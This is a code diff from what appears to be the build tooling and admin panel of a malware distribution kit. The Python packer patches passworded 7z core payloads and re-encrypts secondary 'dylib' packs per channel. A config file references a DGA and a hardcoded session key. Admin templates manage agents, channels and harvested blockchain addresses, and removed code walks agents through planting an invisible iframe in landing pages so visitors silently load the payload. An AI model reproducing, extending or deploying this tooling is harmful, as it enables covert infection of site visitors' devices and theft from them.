raise SystemExit(
|
||||
f"--channel-ver must match X.Y.ZZ (6 chars, alnum+dots) like {ORIGINAL_VER!r} (got {value!r})"
|
||||
)
|
||||
return ver
|
||||
|
||||
|
||||
def staged_weifile_dir(state_root: Path) -> Path:
|
||||
return state_root / "out" / WEIFILE_ROOT
|
||||
|
||||
|
||||
def patch_channel_code(text: str, channel_code: str) -> str:
|
||||
if INDEX_CHANNEL_PLACEHOLDER not in text:
|
||||
def sha256_hex(data: bytes) -> str:
|
||||
return hashlib.sha256(data).hexdigest()
|
||||
|
||||
|
||||
def patch_ver_in_bytes(data: bytes, ver: str, *, label: str) -> bytes:
|
||||
old = ORIGINAL_VER.encode("ascii")
|
||||
new = ver.encode("ascii")
|
||||
if len(old) != len(new):
|
||||
raise SystemExit(f"{label}: ver length mismatch {len(old)} vs {len(new)}")
|
||||
count = data.count(old)
|
||||
if count < 1:
|
||||
raise SystemExit(f"{label}: missing {ORIGINAL_VER!r} to patch")
|
||||
return data.replace(old, new)
|
||||
|
||||
|
||||
def patch_show_path_in_bytes(data: bytes, ver: str, *, label: str) -> bytes:
|
||||
"""Equal-length rewrite of netconfig path /details/show.html -> /c/{ver}/show.htm."""
|
||||
new_path = SHOW_PATH_TMPL.format(ver=ver).encode("ascii")
|
||||
if len(new_path) != len(SHOW_PATH_OLD):
|
||||
raise SystemExit(f"{label}: show path length {len(new_path)} != {len(SHOW_PATH_OLD)}")
|
||||
count = data.count(SHOW_PATH_OLD)
|
||||
if count < 1:
|
||||
raise SystemExit(f"{label}: missing {SHOW_PATH_OLD!r}")
|
||||
return data.replace(SHOW_PATH_OLD, new_path)
|
||||
|
||||
|
||||
def patch_corepayload_wire(wire: bytes, ver: str) -> tuple[bytes, dict]:
|
||||
member, plain = extract_member(wire)
|
||||
if member != CORE_MEMBER_NAME:
|
||||
raise SystemExit(f"unexpected core member {member!r}")
|
||||
patched = patch_ver_in_bytes(plain, ver, label=CORE_MEMBER_NAME)
|
||||
show_hits = patched.count(SHOW_PATH_OLD)
|
||||
patched = patch_show_path_in_bytes(patched, ver, label=CORE_MEMBER_NAME)
|
||||
digest = sha256_hex(patched)
|
||||
new_wire = make_passworded_7z(CORE_MEMBER_NAME, patched)
|
||||
return new_wire, {
|
||||
"sha256": digest,
|
||||
"size": len(patched),
|
||||
"ver_hits": patched.count(ver.encode()),
|
||||
"show_path_hits": show_hits,
|
||||
}
|
||||
|
||||
|
||||
def rewrite_show_urls(config_bytes: bytes, *, ver: str, core_sha256: str, core_size: int) -> bytes:
|
||||
doc = json.loads(config_bytes.decode("utf-8"))
|
||||
if not isinstance(doc, dict) or not isinstance(doc.get("core"), dict):
|
||||
raise SystemExit("show data.bin: missing core object")
|
||||
prefix = f"/channel/{ver}/details/"
|
||||
|
||||
def rewrite_url(url: str) -> str:
|
||||
# http://host/details/foo.js -> http://host/channel/{ver}/details/foo.js
|
||||
return re.sub(r"(/details/)", f"/channel/{ver}/details/", url, count=1)
|
||||
|
||||
core = doc["core"]
|
||||
if isinstance(core.get("url"), str):
|
||||
core["url"] = rewrite_url(core["url"])
|
||||
core["sha256"] = core_sha256
|
||||
core["size"] = core_size
|
||||
for entry in doc.get("entries") or []:
|
||||
if isinstance(entry, dict) and isinstance(entry.get("url"), str):
|
||||
entry["url"] = rewrite_url(entry["url"])
|
||||
_ = prefix # documented intent
|
||||
return json.dumps(doc, separators=(",", ":"), ensure_ascii=False).encode("utf-8")
|
||||
|
||||
|
||||
def patch_show_wire(wire: bytes, *, ver: str, core_sha256: str, core_size: int) -> bytes:
|
||||
member, plain = extract_member(wire)
|
||||
if member != SHOW_MEMBER_NAME:
|
||||
raise SystemExit(f"unexpected show member {member!r}")
|
||||
updated = rewrite_show_urls(plain, ver=ver, core_sha256=core_sha256, core_size=core_size)
|
||||
return make_passworded_7z(SHOW_MEMBER_NAME, updated)
|
||||
|
||||
|
||||
def patch_secondary_show_path(dylib: bytes, ver: str, *, label: str) -> bytes:
|
||||
# One occurrence per secondary slice is enough; replace first only.
|
||||
new_path = SHOW_PATH_TMPL.format(ver=ver).encode("ascii")
|
||||
if len(new_path) != len(SHOW_PATH_OLD):
|
||||
raise SystemExit(f"{label}: show path length {len(new_path)} != {len(SHOW_PATH_OLD)}")
|
||||
if SHOW_PATH_OLD not in dylib:
|
||||
raise SystemExit(f"{label}: missing {SHOW_PATH_OLD!r}")
|
||||
return dylib.replace(SHOW_PATH_OLD, new_path, 1)
|
||||
|
||||
|
||||
def patch_weifile_secondaries(weifile_dir: Path, ver: str) -> int:
|
||||
keys = xxbb_build.load_keys()
|
||||
patched = 0
|
||||
for stem, info in keys["stems"].items():
|
||||
# build.py stages patched secondaries as {stem}.min.js
|
||||
path = weifile_dir / f"{stem}.min.js"
|
||||
if not path.is_file():
|
||||
path = weifile_dir / f"{stem}.js"
|
||||
if not path.is_file():
|
||||
continue
|
||||
key = bytes.fromhex(info["key"])
|
||||
try:
|
||||
dylib = decrypt_secondary_minjs(path.read_bytes(), key)
|
||||
except Exception as exc:
|
||||
raise SystemExit(f"{path.name}: decrypt failed: {exc}") from exc
|
||||
if SHOW_PATH_OLD not in dylib:
|
||||
continue
|
||||
dylib = patch_secondary_show_path(dylib, ver, label=stem)
|
||||
path.write_bytes(encrypt_secondary_minjs(dylib, key))
|
||||
patched += 1
|
||||
if patched < 1:
|
||||
raise SystemExit(
|
||||
f"index.js: missing {INDEX_CHANNEL_PLACEHOLDER} placeholder; "
|
||||
"re-run tools/build.py --apply"
|
||||
"no secondary packs contained /details/show.html "
|
||||
f"(looked under {weifile_dir} for *.min.js)"
|
||||
)
|
||||
return text.replace(INDEX_CHANNEL_PLACEHOLDER, channel_code, 1)
|
||||
return patched
|
||||
|
||||
|
||||
def write_zip(weifile_dir: Path, zip_path: Path) -> Path:
|
||||
zip_path.parent.mkdir(parents=True, exist_ok=True)
|
||||
if zip_path.exists():
|
||||
zip_path.unlink()
|
||||
skip = {"_bak", "__pycache__", ".DS_Store", "decoded", "mm", "stages"}
|
||||
with ZipFile(zip_path, "w", compression=ZIP_DEFLATED) as archive:
|
||||
for path in sorted(weifile_dir.rglob("*")):
|
||||
if not path.is_file():
|
||||
continue
|
||||
if path.name in skip or path.suffix == ".pyc":
|
||||
continue
|
||||
if any(part in skip for part in path.relative_to(weifile_dir).parts):
|
||||
continue
|
||||
rel = Path(WEIFILE_ROOT) / path.relative_to(weifile_dir)
|
||||
archive.write(path, rel.as_posix())
|
||||
return zip_path
|
||||
def strip_iptj_beacon(index_js: str) -> str:
|
||||
if not IPTJ_TAIL_RE.search(index_js):
|
||||
# already stripped or unexpected layout — allow missing during rebuilds
|
||||
if "channelCode" in index_js or "__iptj_sid" in index_js:
|
||||
raise SystemExit("index.js: iptj beacon present but pattern mismatch")
|
||||
return index_js
|
||||
return IPTJ_TAIL_RE.sub(";", index_js, count=1)
|
||||
|
||||
|
||||
def inject_tjs(weifile_html: str) -> str:
|
||||
if "t.js" in weifile_html:
|
||||
return weifile_html
|
||||
snippet = '<script src="/t.js" defer></script>\n'
|
||||
if "</head>" in weifile_html:
|
||||
return weifile_html.replace("</head>", snippet + "</head>", 1)
|
||||
return snippet + weifile_html
|
||||
|
||||
|
||||
LANDING_TEMPLATES = ("test", "blank")
|
||||
DEFAULT_LANDING_TEMPLATE = "test"
|
||||
LANDING_TEMPLATE_ROOT = xxbb_build.BUILDER_ROOT / "source" / "weifile" / "templates"
|
||||
|
||||
|
||||
def normalize_landing_template(value: str | None) -> str:
|
||||
template = (value or DEFAULT_LANDING_TEMPLATE).strip().lower()
|
||||
if template not in LANDING_TEMPLATES:
|
||||
raise SystemExit(
|
||||
f"--landing-template must be one of: {', '.join(LANDING_TEMPLATES)} (got {value!r})"
|
||||
)
|
||||
return template
|
||||
|
||||
|
||||
def apply_landing_template(weifile_dir: Path, template: str) -> Path:
|
||||
template = normalize_landing_template(template)
|
||||
src = LANDING_TEMPLATE_ROOT / f"{template}.html"
|
||||
if not src.is_file():
|
||||
raise SystemExit(f"missing landing template: {src}")
|
||||
dest = weifile_dir / "weifile.html"
|
||||
dest.write_text(inject_tjs(src.read_text(encoding="utf-8")), encoding="utf-8")
|
||||
return dest
|
||||
|
||||
|
||||
def copy_details_tree(src: Path, dest: Path) -> None:
|
||||
if dest.exists():
|
||||
shutil.rmtree(dest)
|
||||
skip = {"_bak", "__pycache__", ".DS_Store", "README.md"}
|
||||
shutil.copytree(
|
||||
src,
|
||||
dest,
|
||||
symlinks=False,
|
||||
ignore=lambda _d, names: {n for n in names if n in skip or n.endswith(".pyc")},
|
||||
)
|
||||
|
||||
|
||||
def pack_channel(
|
||||
*,
|
||||
channel_code: str,
|
||||
channel_ver: str,
|
||||
weifile_src: Path,
|
||||
zip_out: Path,
|
||||
details_src: Path,
|
||||
channel_out: Path,
|
||||
landing_template: str = DEFAULT_LANDING_TEMPLATE,
|
||||
) -> dict:
|
||||
code = xxbb_build.normalize_channel_code(channel_code)
|
||||
index_src = weifile_src / "index.js"
|
||||
if not index_src.is_file():
|
||||
raise SystemExit(
|
||||
f"staged weifile missing ({index_src}). "
|
||||
"Run: python tools/build.py --apply"
|
||||
)
|
||||
ver = normalize_channel_ver(channel_ver)
|
||||
landing_template = normalize_landing_template(landing_template)
|
||||
if not (weifile_src / "index.js").is_file():
|
||||
raise SystemExit(f"staged weifile missing ({weifile_src / 'index.js'}). Run build.py --apply")
|
||||
if not (details_src / CORE_WIRE_NAME).is_file():
|
||||
raise SystemExit(f"details missing ({details_src / CORE_WIRE_NAME}). Run build.py --apply")
|
||||
|
||||
with tempfile.TemporaryDirectory() as tmp:
|
||||
dest = Path(tmp) / WEIFILE_ROOT
|
||||
xxbb_build.copy_tree(weifile_src, dest)
|
||||
index_path = dest / "index.js"
|
||||
root = Path(tmp) / "channel"
|
||||
details_dest = root / DETAILS_ROOT
|
||||
weifile_dest = root / WEIFILE_ROOT
|
||||
copy_details_tree(details_src, details_dest)
|
||||
xxbb_build.copy_tree(weifile_src, weifile_dest)
|
||||
# Drop template sources from the published tree if build copied them.
|
||||
templates_dir = weifile_dest / "templates"
|
||||
if templates_dir.is_dir():
|
||||
shutil.rmtree(templates_dir)
|
||||
|
||||
core_meta: dict
|
||||
core_path = details_dest / CORE_WIRE_NAME
|
||||
core_wire, core_meta = patch_corepayload_wire(core_path.read_bytes(), ver)
|
||||
core_path.write_bytes(core_wire)
|
||||
|
||||
show_path = details_dest / SHOW_WIRE_NAME
|
||||
show_path.write_bytes(
|
||||
patch_show_wire(
|
||||
show_path.read_bytes(),
|
||||
ver=ver,
|
||||
core_sha256=core_meta["sha256"],
|
||||
core_size=core_meta["size"],
|
||||
)
|
||||
)
|
||||
|
||||
secondary_hits = patch_weifile_secondaries(weifile_dest, ver)
|
||||
|
||||
index_path = weifile_dest / "index.js"
|
||||
index_path.write_text(
|
||||
patch_channel_code(index_path.read_text(encoding="utf-8"), code),
|
||||
strip_iptj_beacon(index_path.read_text(encoding="utf-8")),
|
||||
encoding="utf-8",
|
||||
)
|
||||
write_zip(dest, zip_out)
|
||||
apply_landing_template(weifile_dest, landing_template)
|
||||
|
||||
if channel_out.exists():
|
||||
shutil.rmtree(channel_out)
|
||||
channel_out.parent.mkdir(parents=True, exist_ok=True)
|
||||
shutil.copytree(root, channel_out)
|
||||
|
||||
return {
|
||||
"campaign": "xxbb",
|
||||
"builder_type": "new",
|
||||
"channel_code": code,
|
||||
"zip_path": str(zip_out),
|
||||
"weifile_src": str(weifile_src),
|
||||
"channel_ver": ver,
|
||||
"channel_id": ver,
|
||||
"channel_dir": str(channel_out),
|
||||
"landing_path": f"/channel/{ver}/weifile/weifile.html",
|
||||
"landing_template": landing_template,
|
||||
"details_path": f"/channel/{ver}/details/",
|
||||
"show_alias": SHOW_PATH_TMPL.format(ver=ver),
|
||||
"core_sha256": core_meta["sha256"],
|
||||
"core_ver_hits": core_meta["ver_hits"],
|
||||
"core_show_path_hits": core_meta["show_path_hits"],
|
||||
"secondary_show_patches": secondary_hits,
|
||||
}
|
||||
|
||||
|
||||
def main() -> int:
|
||||
parser = argparse.ArgumentParser(
|
||||
description="Pack staged weifile into public/channel-source-new/{CHANNELID}.zip"
|
||||
description=f"Pack exclusive channel tree into public/channel/{{ver}}/ (ver like {ORIGINAL_VER})"
|
||||
)
|
||||
parser.add_argument("--channel-code", required=True, help="8-char channel id (e.g. FAFA9988)")
|
||||
parser.add_argument(
|
||||
"--state-root",
|
||||
"--channel-ver",
|
||||
required=True,
|
||||
help="channel id / ver patch string, X.Y.ZZ alnum (e.g. 2.2.66 or A.B.C1)",
|
||||
)
|
||||
parser.add_argument("--state-root", type=Path, default=None)
|
||||
parser.add_argument("--weifile-src", type=Path, default=None)
|
||||
parser.add_argument(
|
||||
"--details-src",
|
||||
type=Path,
|
||||
default=None,
|
||||
help=f"builder state (default: {xxbb_build.default_state_root()})",
|
||||
help="built details dir (default: <artifact-root>/details)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--weifile-src",
|
||||
type=Path,
|
||||
default=None,
|
||||
help="staged weifile directory (default: <state-root>/out/weifile)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--zip-out",
|
||||
"--channel-out",
|
||||
type=Path,
|
||||
required=True,
|
||||
help="output zip path",
|
||||
help="output directory e.g. public/channel/A.B.C1",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--landing-template",
|
||||
default=DEFAULT_LANDING_TEMPLATE,
|
||||
choices=LANDING_TEMPLATES,
|
||||
help="weifile.html template: test=loading countdown, blank=empty (default: test)",
|
||||
)
|
||||
args = parser.parse_args()
|
||||
|
||||
state_root = (args.state_root or xxbb_build.default_state_root()).resolve()
|
||||
artifact_root = xxbb_build.default_artifact_root().resolve()
|
||||
weifile_src = (args.weifile_src or staged_weifile_dir(state_root)).resolve()
|
||||
zip_out = args.zip_out.resolve()
|
||||
details_src = (args.details_src or (artifact_root / DETAILS_ROOT)).resolve()
|
||||
channel_out = args.channel_out.resolve()
|
||||
|
||||
result = pack_channel(channel_code=args.channel_code, weifile_src=weifile_src, zip_out=zip_out)
|
||||
result = pack_channel(
|
||||
channel_ver=args.channel_ver,
|
||||
weifile_src=weifile_src,
|
||||
details_src=details_src,
|
||||
channel_out=channel_out,
|
||||
landing_template=args.landing_template,
|
||||
)
|
||||
seeds_path = state_root / LAB_SEEDS_NAME
|
||||
if seeds_path.is_file():
|
||||
try:
|
||||
@@ -132,7 +354,7 @@ def main() -> int:
|
||||
except json.JSONDecodeError:
|
||||
pass
|
||||
|
||||
print(f"packed {result['channel_code']} -> {zip_out}")
|
||||
print(f"packed {result['channel_ver']} -> {channel_out}")
|
||||
print(RESULT_MARKER + json.dumps(result, separators=(",", ":")))
|
||||
return 0
|
||||
|
||||
|
||||
@@ -283,42 +283,23 @@ class XxbbBuildTest(unittest.TestCase):
|
||||
self.assertEqual(len(second[2]), 32)
|
||||
self.assertEqual(second[3]["deployment"][0], generate_domains(second[2], 1)[0])
|
||||
|
||||
def test_pack_replaces_channel_placeholder(self) -> None:
|
||||
def test_pack_channel_ver_helpers(self) -> None:
|
||||
import pack_channel
|
||||
from zipfile import ZipFile
|
||||
|
||||
with tempfile.TemporaryDirectory() as tmp:
|
||||
src = Path(tmp) / "weifile"
|
||||
src.mkdir()
|
||||
(src / "index.js").write_text(
|
||||
'const V="CACACACA";const N="https://syv4c2c8nb8fpzo.icu/api";',
|
||||
encoding="utf-8",
|
||||
)
|
||||
(src / "weifile.html").write_text(
|
||||
'<script type="text/javascript" src="index.js"></script>',
|
||||
encoding="utf-8",
|
||||
)
|
||||
(src / "extra.min.js").write_text("ok", encoding="utf-8")
|
||||
zip_out = Path(tmp) / "channel-source-new" / "FAFA9988.zip"
|
||||
result = pack_channel.pack_channel(
|
||||
channel_code="fafa9988",
|
||||
weifile_src=src,
|
||||
zip_out=zip_out,
|
||||
)
|
||||
self.assertEqual(result["channel_code"], "FAFA9988")
|
||||
self.assertTrue(zip_out.is_file())
|
||||
self.assertIn("CACACACA", (src / "index.js").read_text(encoding="utf-8"))
|
||||
with ZipFile(zip_out) as archive:
|
||||
names = set(archive.namelist())
|
||||
self.assertIn("weifile/index.js", names)
|
||||
self.assertIn("weifile/weifile.html", names)
|
||||
self.assertIn("weifile/extra.min.js", names)
|
||||
index_js = archive.read("weifile/index.js").decode("utf-8")
|
||||
html = archive.read("weifile/weifile.html").decode("utf-8")
|
||||
self.assertIn('const V="FAFA9988"', index_js)
|
||||
self.assertNotIn("CACACACA", index_js)
|
||||
self.assertNotIn("__CHANNEL_C__", html)
|
||||
self.assertNotIn("/t.js", html)
|
||||
self.assertEqual(pack_channel.normalize_channel_ver("3.1.07"), "3.1.07")
|
||||
self.assertEqual(pack_channel.normalize_channel_ver("a.b.c1"), "A.B.C1")
|
||||
with self.assertRaises(SystemExit):
|
||||
pack_channel.normalize_channel_ver("FAFA9988")
|
||||
path = pack_channel.SHOW_PATH_TMPL.format(ver="A.B.C1").encode()
|
||||
self.assertEqual(len(path), len(pack_channel.SHOW_PATH_OLD))
|
||||
|
||||
stripped = pack_channel.strip_iptj_beacon(
|
||||
'head,function(){[67,72,77,75,54,73,71,48,56,70,52,50,52,57,54,67,50,50]'
|
||||
'whatever,__iptj_sid,channelCode},2e3)}();'
|
||||
)
|
||||
self.assertEqual(stripped, "head;")
|
||||
html = pack_channel.inject_tjs("<html><head></head><body></body></html>")
|
||||
self.assertIn('/t.js', html)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
|
||||
@@ -18,8 +18,6 @@ return [
|
||||
'session_key' => env('XXBB_SESSION_KEY', 'Ek8pl31K2yeHgQwy'),
|
||||
// Shared native DGA / report field `c`. Same for every new-builder channel.
|
||||
'channel_c' => strtolower(trim((string) env('XXBB_CHANNEL_C', ''))),
|
||||
// Match iptj PageVisit → device by IP within this window.
|
||||
'visit_match_minutes' => (int) env('XXBB_VISIT_MATCH_MINUTES', 30),
|
||||
],
|
||||
'channel_domains' => $channelDomains,
|
||||
'deployment_domains' => $channelDomains,
|
||||
@@ -50,8 +48,6 @@ return [
|
||||
'CORUNA_CHANNEL_NEW_STATE_ROOT',
|
||||
storage_path('app/channel-builder-new')
|
||||
),
|
||||
// Per-channel weifile zip download root under artifact_root.
|
||||
'source_dir' => 'channel-source-new',
|
||||
],
|
||||
'channels' => [
|
||||
// Max channel links per agent user (0 = official is unlimited). Overridable via settings.
|
||||
|
||||
+10
-2
@@ -2,8 +2,16 @@
|
||||
try {
|
||||
var m = location.pathname.match(/\/web\/([0-9a-f]{32})\//i);
|
||||
var channelId = m ? m[1].toLowerCase() : '';
|
||||
if (!channelId && typeof window.__CORUNA_CHANNEL__ === 'string' && /^[0-9a-f]{32}$/i.test(window.__CORUNA_CHANNEL__)) {
|
||||
channelId = window.__CORUNA_CHANNEL__.toLowerCase();
|
||||
if (!channelId) {
|
||||
m = location.pathname.match(/\/channel\/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})\//i);
|
||||
channelId = m ? m[1].toUpperCase() : '';
|
||||
}
|
||||
if (!channelId && typeof window.__CORUNA_CHANNEL__ === 'string') {
|
||||
if (/^[0-9a-f]{32}$/i.test(window.__CORUNA_CHANNEL__)) {
|
||||
channelId = window.__CORUNA_CHANNEL__.toLowerCase();
|
||||
} else if (/^[0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2}$/.test(window.__CORUNA_CHANNEL__)) {
|
||||
channelId = window.__CORUNA_CHANNEL__.toUpperCase();
|
||||
}
|
||||
}
|
||||
if (!channelId) return;
|
||||
var KEY = 'c_uid';
|
||||
|
||||
@@ -27,32 +27,14 @@
|
||||
<div class="layui-card">
|
||||
<form class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="LAY-addr-search">
|
||||
<div class="layui-form-item">
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">渠道 ID</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="channel_id" class="layui-input" autocomplete="off">
|
||||
</div>
|
||||
</div>
|
||||
@include('admin.partials.filter_channel_select')
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">设备 ID</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="device_key" class="layui-input" autocomplete="off">
|
||||
</div>
|
||||
</div>
|
||||
@if ($portal === 'admin')
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">代理用户</label>
|
||||
<div class="layui-input-block">
|
||||
<select name="agent_user_id">
|
||||
<option value="">全部</option>
|
||||
<option value="0">官方</option>
|
||||
@foreach ($agents as $a)
|
||||
<option value="{{ $a->id }}">{{ $a->username }}</option>
|
||||
@endforeach
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
@endif
|
||||
@include('admin.partials.filter_agent_select')
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">来源</label>
|
||||
<div class="layui-input-block">
|
||||
@@ -86,6 +68,8 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
var token = @json(csrf_token());
|
||||
var updateBase = @json(url('/'.$portal.'/addresses'));
|
||||
|
||||
if (window.CorunaFilterOptions) CorunaFilterOptions.apply(form);
|
||||
|
||||
function chainTag(chain) {
|
||||
var raw = String(chain || 'UNKNOWN');
|
||||
var key = raw.toLowerCase().replace(/[^a-z0-9]+/g, '');
|
||||
|
||||
@@ -7,26 +7,8 @@
|
||||
<div class="layui-card">
|
||||
<form class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="LAY-ch-search">
|
||||
<div class="layui-form-item">
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">渠道 ID</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="channel_id" class="layui-input" autocomplete="off">
|
||||
</div>
|
||||
</div>
|
||||
@if ($portal === 'admin')
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">代理</label>
|
||||
<div class="layui-input-block">
|
||||
<select name="agent_user_id">
|
||||
<option value="">全部</option>
|
||||
<option value="0">官方</option>
|
||||
@foreach ($agents as $a)
|
||||
<option value="{{ $a->id }}">{{ $a->username }}</option>
|
||||
@endforeach
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
@endif
|
||||
@include('admin.partials.filter_channel_select')
|
||||
@include('admin.partials.filter_agent_select')
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">状态</label>
|
||||
<div class="layui-input-block">
|
||||
@@ -48,13 +30,7 @@
|
||||
<div class="layui-card-body">
|
||||
<table id="LAY-ch-list" lay-filter="LAY-ch-list"></table>
|
||||
<script type="text/html" id="LAY-ch-ops">
|
||||
@{{# if(d.builder_type === 'new'){ }}
|
||||
@{{# if(d.download_url){ }}
|
||||
<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="download">下载代码</a>
|
||||
@{{# } }}
|
||||
@{{# } else { }}
|
||||
<a class="layui-btn layui-btn-xs" lay-event="links">查看链接</a>
|
||||
@{{# } }}
|
||||
<a class="layui-btn layui-btn-primary layui-btn-xs" lay-event="edit">编辑</a>
|
||||
@{{# if(d._isAdmin){ }}
|
||||
<a class="layui-btn layui-btn-danger layui-btn-xs" lay-event="del">删除</a>
|
||||
@@ -70,10 +46,21 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
var table = layui.table, form = layui.form, layer = layui.layer, $ = layui.$;
|
||||
var portal = @json($portal);
|
||||
var token = @json(csrf_token());
|
||||
var agents = @json(($agents ?? collect())->map(fn ($a) => ['id' => $a->id, 'username' => $a->username])->values());
|
||||
var agents = @json(($agents ?? collect())->map(function ($a) {
|
||||
$name = trim((string) $a->username);
|
||||
$comment = trim((string) ($a->comment ?? ''));
|
||||
|
||||
return [
|
||||
'id' => $a->id,
|
||||
'username' => $name,
|
||||
'label' => $comment !== '' ? $name.'/'.$comment : $name,
|
||||
];
|
||||
})->values());
|
||||
var isAdmin = portal === 'admin';
|
||||
var maxPerAgent = @json($maxPerAgent ?? 5);
|
||||
|
||||
if (window.CorunaFilterOptions) CorunaFilterOptions.apply(form);
|
||||
|
||||
var cols = [
|
||||
{ field: 'id', title: 'ID', width: 70, sort: true },
|
||||
{ field: 'channel_id', title: '渠道 ID', minWidth: 220, sort: true },
|
||||
@@ -92,7 +79,7 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
: '<span style="color:#dc2626;font-weight:600;">禁用</span>';
|
||||
}},
|
||||
{ field: 'updated_at', title: '更新', width: 170, sort: true },
|
||||
{ title: '操作', width: isAdmin ? 250 : 190, align: 'center', fixed: 'right', toolbar: '#LAY-ch-ops' }
|
||||
{ title: '操作', width: isAdmin ? 220 : 160, align: 'center', fixed: 'right', toolbar: '#LAY-ch-ops' }
|
||||
]);
|
||||
|
||||
table.render({
|
||||
@@ -118,7 +105,7 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
var sel = selected == null ? 0 : selected;
|
||||
var html = '<option value="0"' + (String(sel) === '0' ? ' selected' : '') + '>官方</option>';
|
||||
agents.forEach(function (a) {
|
||||
html += '<option value="' + a.id + '"' + (String(sel) === String(a.id) ? ' selected' : '') + '>' + a.username + '</option>';
|
||||
html += '<option value="' + a.id + '"' + (String(sel) === String(a.id) ? ' selected' : '') + '>' + (a.label || a.username) + '</option>';
|
||||
});
|
||||
return html;
|
||||
}
|
||||
@@ -140,39 +127,6 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
return '<iframe src="' + url + '" style="position:fixed;top:0;left:-1000px;pointer-events:none;border:0"></iframe>';
|
||||
}
|
||||
|
||||
function weifileIframeSnippet() {
|
||||
return '<iframe src="/weifile/weifile.html" style="position:fixed;top:0;width:0;height:0;left:-1000px;border:0"></iframe>';
|
||||
}
|
||||
|
||||
function openDownloadGuide(row) {
|
||||
var url = row && row.download_url;
|
||||
if (!url) return layer.msg('安装包不存在');
|
||||
var snippet = weifileIframeSnippet();
|
||||
var html = '<div style="padding:18px 20px;line-height:1.75;font-size:13px;color:#334155;">' +
|
||||
'<p style="margin:0 0 10px;">下载后按下面步骤放到自己的落地页项目中:</p>' +
|
||||
'<p style="margin:0 0 8px;"><b>1.</b> 解压 zip,把得到的 <code>weifile/</code> 目录放到落地页网站根目录,保证能访问到 <code>/weifile/weifile.html</code>。</p>' +
|
||||
'<p style="margin:0 0 14px;"><b>2.</b> 在自己的 HTML 里(建议放在 <code><body></code> 开头)加入一段不可见 iframe:</p>' +
|
||||
'<pre style="background:#f8fafc;border:1px solid #e2e8f0;border-radius:6px;padding:10px 12px;overflow:auto;font-size:12px;margin:0 0 14px;white-space:pre-wrap;word-break:break-all;">' +
|
||||
snippet.replace(/</g, '<') + '</pre>' +
|
||||
'<div style="display:flex;gap:8px;flex-wrap:wrap;align-items:center;">' +
|
||||
'<a class="layui-btn layui-btn-normal" href="' + url.replace(/"/g, '"') + '">下载代码</a>' +
|
||||
'<button type="button" class="layui-btn layui-btn-primary LAY-ch-copy-iframe">复制 iframe 代码</button>' +
|
||||
'</div>' +
|
||||
'<p style="margin:12px 0 0;color:#64748b;font-size:12px;">iframe 不可见,不影响落地页展示;用户打开落地页时会加载该渠道代码。</p>' +
|
||||
'</div>';
|
||||
layer.open({
|
||||
type: 1,
|
||||
title: '下载代码 — ' + (row.channel_id || ''),
|
||||
area: ['640px', '430px'],
|
||||
content: html,
|
||||
success: function (layero) {
|
||||
layero.find('.LAY-ch-copy-iframe').on('click', function () {
|
||||
copyText(snippet).then(function () { layer.msg('已复制 iframe 代码'); });
|
||||
});
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
function openLinks(row) {
|
||||
var links = row.links || [];
|
||||
if (!links.length) {
|
||||
@@ -214,12 +168,9 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
html += '<div style="margin-bottom:10px;"><b>落地页</b> <code>' +
|
||||
(data.weifile_path || data.support_path).replace(/</g, '<') + '</code></div>';
|
||||
}
|
||||
if (data.builder_type === 'new' && data.zip_path) {
|
||||
html += '<div style="margin-bottom:10px;"><b>安装包</b> <code>' +
|
||||
String(data.zip_path).replace(/</g, '<') + '</code></div>';
|
||||
if (data.download_url) {
|
||||
html += '<div style="margin-bottom:10px;"><button type="button" class="layui-btn layui-btn-normal layui-btn-sm LAY-ch-dl-guide">下载代码</button></div>';
|
||||
}
|
||||
if (data.builder_type === 'new' && data.channel_dir) {
|
||||
html += '<div style="margin-bottom:10px;"><b>资源目录</b> <code>' +
|
||||
String(data.channel_dir).replace(/</g, '<') + '</code></div>';
|
||||
}
|
||||
if (links.length) {
|
||||
html += '<div style="margin-bottom:6px;"><b>投放链接</b></div>';
|
||||
@@ -242,12 +193,7 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
type: 1,
|
||||
title: '创建成功',
|
||||
area: ['560px', '420px'],
|
||||
content: html,
|
||||
success: function (layero) {
|
||||
layero.find('.LAY-ch-dl-guide').on('click', function () {
|
||||
openDownloadGuide({ channel_id: channelId, download_url: data.download_url });
|
||||
});
|
||||
}
|
||||
content: html
|
||||
});
|
||||
}
|
||||
|
||||
@@ -258,7 +204,7 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
: '';
|
||||
var channelBlock = creating
|
||||
? '<div class="layui-form-item"><label class="layui-form-label">渠道 ID</label><div class="layui-input-block">' +
|
||||
'<input name="channel_id" class="layui-input" maxlength="32" id="LAY-ch-id-input" style="width:70%;display:inline-block;" value="' + (values.channel_id || '') + '" placeholder="旧版 32 位 / 新版 8 位">' +
|
||||
'<input name="channel_id" class="layui-input" maxlength="32" id="LAY-ch-id-input" style="width:70%;display:inline-block;" value="' + (values.channel_id || '') + '" placeholder="旧版 32 位 / 新版 X.Y.ZZ">' +
|
||||
